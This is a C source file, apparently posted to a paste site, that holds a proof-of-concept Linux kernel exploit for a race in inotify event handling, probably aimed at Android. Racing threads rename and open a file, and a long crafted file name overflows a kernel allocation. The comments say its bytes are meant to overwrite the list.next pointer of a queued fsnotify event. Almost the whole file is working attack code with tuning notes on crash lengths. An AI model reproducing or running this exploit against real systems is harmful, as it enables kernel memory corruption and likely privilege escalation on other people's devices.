· 6 years ago · Feb 12, 2020, 01:56 AM
1
2#define _GNU_SOURCE
3#include <stdio.h>
4#include <stdlib.h>
5#include <unistd.h>
6#include <pthread.h>
7#include <sys/types.h>
8#include <sys/stat.h>
9#include <fcntl.h>
10#include <sched.h>
11#include <sys/socket.h>
12#include <netinet/in.h>
13#include <netinet/tcp.h>
14#include <arpa/inet.h>
15#include <netdb.h>
16#include <string.h>
17#include <signal.h>
18#include <sys/eventfd.h>
19#include <sys/inotify.h>
20#include <sys/mman.h>
21#include <ctype.h>
22#include <errno.h>
23#include <err.h>
24#include <poll.h>
25#include <unistd.h>
26
27void *callrename( void *ptr );
28void *openclose( void *ptr );
29pthread_t thread1, thread2;
30int lastfd;
31char *space;
32int original,printed, *int_space;
33
34volatile int stop = 0;
35
36// Try kmalloc-192 made by cyclic(100)
37char *orig_name = "f";
38
39// 120
40//char *orig_name = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
41
42static void handle_events(int fd, int *wd, int argc, char* argv[])
43{
44 /* Some systems cannot read integer variables if they are not
45 properly aligned. On other systems, incorrect alignment may
46 decrease performance. Hence, the buffer used for reading from
47 the inotify file descriptor should have the same alignment as
48 struct inotify_event. */
49
50 char buf[4096]
51 __attribute__ ((aligned(__alignof__(struct inotify_event))));
52 const struct inotify_event *event;
53 int i;
54 ssize_t len;
55 char *ptr;
56
57 /* Loop while events can be read from inotify file descriptor. */
58
59 for (;;) {
60
61 /* Read some events. */
62
63 len = read(fd, buf, sizeof buf);
64 if (len == -1 && errno != EAGAIN) {
65 perror("read");
66 exit(EXIT_FAILURE);
67 }
68
69 /* If the nonblocking read() found no events to read, then
70 it returns -1 with errno set to EAGAIN. In that case,
71 we exit the loop. */
72
73 if (len <= 0)
74 break;
75
76 /* Loop over all events in the buffer */
77
78 for (ptr = buf; ptr < buf + len;
79 ptr += sizeof(struct inotify_event) + event->len) {
80
81 event = (const struct inotify_event *) ptr;
82
83 /* Print event type */
84/*
85 if (event->mask & IN_OPEN)
86 printf("IN_OPEN: ");
87 if (event->mask & IN_CLOSE_NOWRITE)
88 printf("IN_CLOSE_NOWRITE: ");
89 if (event->mask & IN_CLOSE_WRITE)
90 printf("IN_CLOSE_WRITE: ");
91 if (event->mask % IN_ACCESS)
92 printf("IN_ACCESS: ");
93*/
94 /* Print the name of the watched directory */
95
96 for (i = 1; i < argc; ++i) {
97 if (wd[i] == event->wd) {
98 //printf("%s/", argv[i]);
99 break;
100 }
101 }
102
103 /* Print the name of the file */
104
105 if (event->len && strcmp(event->name, orig_name)) {
106 printf("%s() event->name : %s, event->len : %d\n",__func__, event->name, event->len);
107
108 if ( !strcmp(event->name, "b") && strlen(event->name) == 1) {
109 printf("Detected overwrite!!!\n");
110 stop = 1;
111 break;
112 }
113 }
114
115 /* Print type of filesystem object */
116/*
117 if (event->mask & IN_ISDIR)
118 printf(" [directory]\n");
119 else
120 printf(" [file]\n");
121*/
122 }
123 }
124}
125
126static void* notify_thread_func(void* arg)
127{
128 char buf;
129 int fd, i, poll_num;
130 int *wd;
131 nfds_t nfds;
132 struct pollfd fds[2];
133
134 int argc = 2;
135 char *argv[] = { NULL, "test_dir", NULL};
136/*
137 if (argc < 2) {
138 printf("Usage: %s PATH [PATH ...]\n", argv[0]);
139 exit(EXIT_FAILURE);
140 }
141*/
142 //printf("Press ENTER key to terminate.\n");
143
144 /* Create the file descriptor for accessing the inotify API */
145
146 fd = inotify_init1(IN_NONBLOCK);
147 if (fd == -1) {
148 perror("inotify_init1");
149 exit(EXIT_FAILURE);
150 }
151
152 /* Allocate memory for watch descriptors */
153
154 wd = calloc(argc, sizeof(int));
155 if (wd == NULL) {
156 perror("calloc");
157 exit(EXIT_FAILURE);
158 }
159
160 /* Mark directories for events
161 - file was opened
162 - file was closed */
163
164 for (i = 1; i < argc; i++) {
165 wd[i] = inotify_add_watch(fd, argv[i],
166 IN_OPEN | IN_CLOSE| IN_ACCESS);
167 if (wd[i] == -1) {
168 fprintf(stderr, "Cannot watch '%s'\n", argv[i]);
169 perror("inotify_add_watch");
170 exit(EXIT_FAILURE);
171 }
172 }
173
174 /* Prepare for polling */
175
176 nfds = 2;
177
178 /* Console input */
179
180 fds[0].fd = STDIN_FILENO;
181 fds[0].events = POLLIN;
182
183 /* Inotify input */
184
185 fds[1].fd = fd;
186 fds[1].events = POLLIN;
187
188 printf("Listening for events.\n");
189 while (!stop) {
190 poll_num = poll(fds, nfds, -1);
191 if (poll_num == -1) {
192 if (errno == EINTR)
193 continue;
194 perror("poll");
195 exit(EXIT_FAILURE);
196 }
197
198 if (poll_num > 0) {
199
200 if (fds[1].revents & POLLIN) {
201
202 handle_events(fd, wd, argc, argv);
203 }
204 }
205 }
206
207 close(fd);
208
209 free(wd);
210 exit(EXIT_SUCCESS);
211}
212
213void *trigger_rename_open(void* arg)
214{
215 int iret1, iret2,i;
216
217 setvbuf(stdout,0,2,0);
218
219 iret1 = pthread_create( &thread1, NULL, callrename, NULL);
220 if(iret1)
221 {
222 fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1);
223 exit(EXIT_FAILURE);
224 }
225
226 iret2 = pthread_create( &thread2, NULL, openclose, NULL);
227 if(iret2)
228 {
229 fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2);
230 exit(EXIT_FAILURE);
231 }
232 pthread_join( thread1, NULL);
233 pthread_join( thread2, NULL);
234 exit(EXIT_SUCCESS);
235}
236
237
238// 250
239char *longname_padding = "bbbb3210321032103210";
240//char *longname_padding = "bbbb32103210321032103210ABCDEF";
241/*
242rcx : 44434241..
243 DCDA0123
244*/
245// char *longname_padding = "bbbb3210321032GFEDCBA";
246// 31 will crash
247void *callrename( void *ptr )
248{
249 int i,m,k;
250 char enter = 0;
251 char origname[1024];
252 char longname[1024];
253 char next_ptr[8] = "\x30\xff\xff\x31\xff\xff\xff\xff";
254 char prev_ptr[8] = "";
255 // This value will overwrite the next (struct fsnotify_event)event->list.next
256
257
258 // create shortname being initial name.
259 snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
260 printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
261 //printf("origname=\"%s\"\n", origname);
262
263 snprintf(longname, sizeof longname, "test_dir/%s%s%s",
264 longname_padding, next_ptr, prev_ptr);
265 //strcat(longname,space);
266 printf("longname=\"%s\"\n", longname);
267
268 for (i=0;i<10000 && !stop ;i++)
269 {
270 if (rename(origname,longname)<0) perror("rename1");
271 if (rename(longname,origname)<0) perror("rename2");
272
273 }
274
275 printf("callrename done.\n");
276}
277
278void *openclose( void *ptr )
279{
280 int j,fd,m,k;
281 char origname[1024];
282 snprintf(origname, sizeof origname, "test_dir/%s", orig_name);
283
284 for (j=0;j<8000 && !stop;j++ )
285 {
286 open(origname,O_RDWR);
287
288 }
289 printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
290
291}
292
293
294void main(void)
295{
296 pthread_t notify_thread[4];
297 pthread_t rename_thread;
298 int i = 0;
299
300 char buf[1024];
301 snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
302 system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
303 system(buf);
304
305 for ( i ; i < 2; i++ ) {
306 pthread_create(¬ify_thread[i],
307 NULL,
308 notify_thread_func,
309 NULL);
310 }
311 //Trigger inotify event by file open and rename to
312 //trigger the vulnerability
313 pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
314
315 pthread_join(rename_thread, NULL);
316 for ( i = 0; i < 2; i++ )
317 pthread_join(notify_thread[i], NULL);
318
319}